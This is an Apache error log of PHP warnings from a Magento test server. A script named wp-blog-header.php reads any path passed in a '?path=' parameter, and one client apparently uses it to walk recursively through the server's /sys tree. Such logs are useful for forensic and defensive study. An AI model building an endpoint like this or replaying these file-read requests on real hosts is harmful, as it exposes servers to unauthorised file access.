[Thu Mar 26 05:24:02.099450 2026] [php:warn] [pid 2946665] [client 74.7.241.26:55048] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/subsystem
[Thu Mar 26 05:24:35.900602 2026] [php:warn] [pid 2946665] [client 74.7.241.26:55048] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/subsystem/drivers/vmw_pvscsi/module/sections/.exit.text): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/subsystem/drivers/vmw_pvscsi/module/sections
[Thu Mar 26 05:24:47.612789 2026] [php:notice] [pid 2946665] [client 74.7.241.26:55048] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=22 Invalid argument in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/subsystem/lo
[Thu Mar 26 05:25:03.110767 2026] [php:notice] [pid 2977451] [client 74.7.241.26:38820] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/subsystem/lo
[Thu Mar 26 05:25:04.120855 2026] [php:notice] [pid 2977451] [client 74.7.241.26:38820] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/subsystem/lo
[Thu Mar 26 05:25:04.688062 2026] [php:notice] [pid 2977451] [client 74.7.241.26:38820] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=95 Operation not supported in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/subsystem/lo
[Thu Mar 26 05:25:20.944942 2026] [php:warn] [pid 2977451] [client 74.7.241.26:38820] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/subsystem
[Thu Mar 26 05:26:29.873455 2026] [php:warn] [pid 2977063] [client 74.7.241.26:54930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/drivers/tpm_crb/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/drivers/tpm_crb
[Thu Mar 26 05:26:33.071823 2026] [php:warn] [pid 2977063] [client 74.7.241.26:54930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/physical_node/reset_subordinate): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/physical_node
[Thu Mar 26 05:28:37.447419 2026] [php:warn] [pid 2976804] [client 74.7.241.26:44218] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:88/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ea/subsystem/devices/device:88
[Thu Mar 26 05:29:30.126746 2026] [php:notice] [pid 2977063] [client 74.7.241.26:38408] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/power
[Thu Mar 26 05:29:49.307380 2026] [php:warn] [pid 2977063] [client 74.7.241.26:38408] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/drivers/ec
[Thu Mar 26 05:31:47.977612 2026] [php:warn] [pid 2957966] [client 74.7.241.26:52746] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/device:ee
[Thu Mar 26 05:33:45.324657 2026] [php:notice] [pid 2946666] [client 74.7.241.26:56052] PHP Notice: file_get_contents(): Read of 8192 bytes failed with errno=5 Input/output error in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/physical_node/power
[Thu Mar 26 05:34:44.897065 2026] [php:warn] [pid 2977063] [client 74.7.241.26:49160] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/drivers/ec
[Thu Mar 26 05:39:52.678163 2026] [php:warn] [pid 2977178] [client 74.7.241.26:60368] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:fc
[Thu Mar 26 05:41:30.911325 2026] [php:warn] [pid 2976804] [client 74.7.241.26:53608] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ce
[Thu Mar 26 05:42:14.278475 2026] [php:warn] [pid 2946666] [client 74.7.241.26:51108] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:fc
[Thu Mar 26 05:44:01.892152 2026] [php:warn] [pid 2976814] [client 74.7.241.26:44648] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:102/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:102
[Thu Mar 26 05:45:46.561803 2026] [php:warn] [pid 2977451] [client 74.7.241.26:38588] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ec
[Thu Mar 26 05:47:14.268609 2026] [php:warn] [pid 2946666] [client 74.7.241.26:58064] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:ea
[Thu Mar 26 05:47:46.772387 2026] [php:warn] [pid 2976374] [client 74.7.241.26:38818] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ce
[Thu Mar 26 05:51:27.435243 2026] [php:warn] [pid 2976804] [client 74.7.241.26:56008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:dc
[Thu Mar 26 05:51:29.561893 2026] [php:warn] [pid 2976804] [client 74.7.241.26:56008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:aa
[Thu Mar 26 05:51:41.561359 2026] [php:warn] [pid 2976804] [client 74.7.241.26:56008] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:cc
[Thu Mar 26 05:51:59.379461 2026] [php:warn] [pid 2946665] [client 74.7.241.26:44602] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/physical_node/driver/new_id): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/physical_node/driver
[Thu Mar 26 05:55:01.793360 2026] [php:warn] [pid 2946666] [client 74.7.241.26:54508] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/physical_node/driver/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/physical_node/driver
[Thu Mar 26 06:01:14.277770 2026] [php:warn] [pid 2976813] [client 74.7.241.26:52696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:b7/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:b7/subsystem
[Thu Mar 26 06:01:50.876523 2026] [php:warn] [pid 2977178] [client 74.7.241.26:48110] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:6b/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:6b/subsystem
[Thu Mar 26 06:03:02.147427 2026] [php:warn] [pid 2976804] [client 74.7.241.26:47500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:f8/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:f8/subsystem/devices/device:ce
[Thu Mar 26 06:03:32.210405 2026] [php:warn] [pid 2976804] [client 74.7.241.26:47500] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:2e/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:2e/subsystem/devices/device:be
[Thu Mar 26 06:03:59.342944 2026] [php:warn] [pid 2957966] [client 74.7.241.26:57412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:1f/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:1f/subsystem/devices/device:cc
[Thu Mar 26 06:04:12.024227 2026] [php:warn] [pid 2957966] [client 74.7.241.26:57412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:c0/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:c0/subsystem/drivers/ec
[Thu Mar 26 06:04:26.394917 2026] [php:warn] [pid 2957966] [client 74.7.241.26:57412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:6d/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:6d/subsystem/devices/device:ae
[Thu Mar 26 06:07:41.594259 2026] [php:warn] [pid 2946679] [client 74.7.241.26:41568] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:6f/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:6f/subsystem/devices/device:ea
[Thu Mar 26 06:07:45.839935 2026] [php:warn] [pid 2946679] [client 74.7.241.26:41568] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:a6/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:a6/subsystem/devices/device:ae
[Thu Mar 26 06:08:11.869856 2026] [php:warn] [pid 2976814] [client 74.7.241.26:54896] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:1a/subsystem/drivers/hpet/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:1a/subsystem/drivers/hpet
[Thu Mar 26 06:08:21.274553 2026] [php:warn] [pid 2976814] [client 74.7.241.26:54896] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:1a/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:1a/subsystem/drivers/ec
[Thu Mar 26 06:08:32.501090 2026] [php:warn] [pid 2976814] [client 74.7.241.26:54896] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:f3/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:f3/subsystem/devices/device:ba
[Thu Mar 26 06:08:55.368754 2026] [php:warn] [pid 2976814] [client 74.7.241.26:54896] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:b4/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:b4/subsystem/devices/device:fe
[Thu Mar 26 06:11:00.120901 2026] [php:warn] [pid 2977178] [client 74.7.241.26:38240] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:e9/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:e9/subsystem/devices/device:aa
[Thu Mar 26 06:12:00.444567 2026] [php:warn] [pid 2946679] [client 74.7.241.26:47930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:e3/subsystem/drivers/ac
[Thu Mar 26 06:14:19.780340 2026] [php:warn] [pid 2976374] [client 74.7.241.26:57646] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:9e/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:9e/subsystem/devices/device:ee
[Thu Mar 26 06:16:08.230247 2026] [php:warn] [pid 2976804] [client 74.7.241.26:45116] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:d9/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:d9/subsystem/devices/device:ee
[Thu Mar 26 06:22:01.837765 2026] [php:warn] [pid 2976804] [client 74.7.241.26:48338] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:a2/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:a2/subsystem/devices/device:ea
[Thu Mar 26 06:24:05.126773 2026] [php:warn] [pid 2946665] [client 74.7.241.26:47806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:b0/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:b0/subsystem/devices/device:fa
[Thu Mar 26 06:26:19.504022 2026] [php:warn] [pid 2976813] [client 74.7.241.26:40076] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:7d/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:7d/subsystem/devices/device:da
[Thu Mar 26 06:29:01.931293 2026] [php:warn] [pid 2946666] [client 74.7.241.26:54484] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:1e/subsystem/drivers/hpet/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:1e/subsystem/drivers/hpet
[Thu Mar 26 06:34:40.517921 2026] [php:warn] [pid 2976814] [client 74.7.241.26:53824] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:3b/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/device:de/subsystem/devices/device:3b/subsystem/devices/device:be
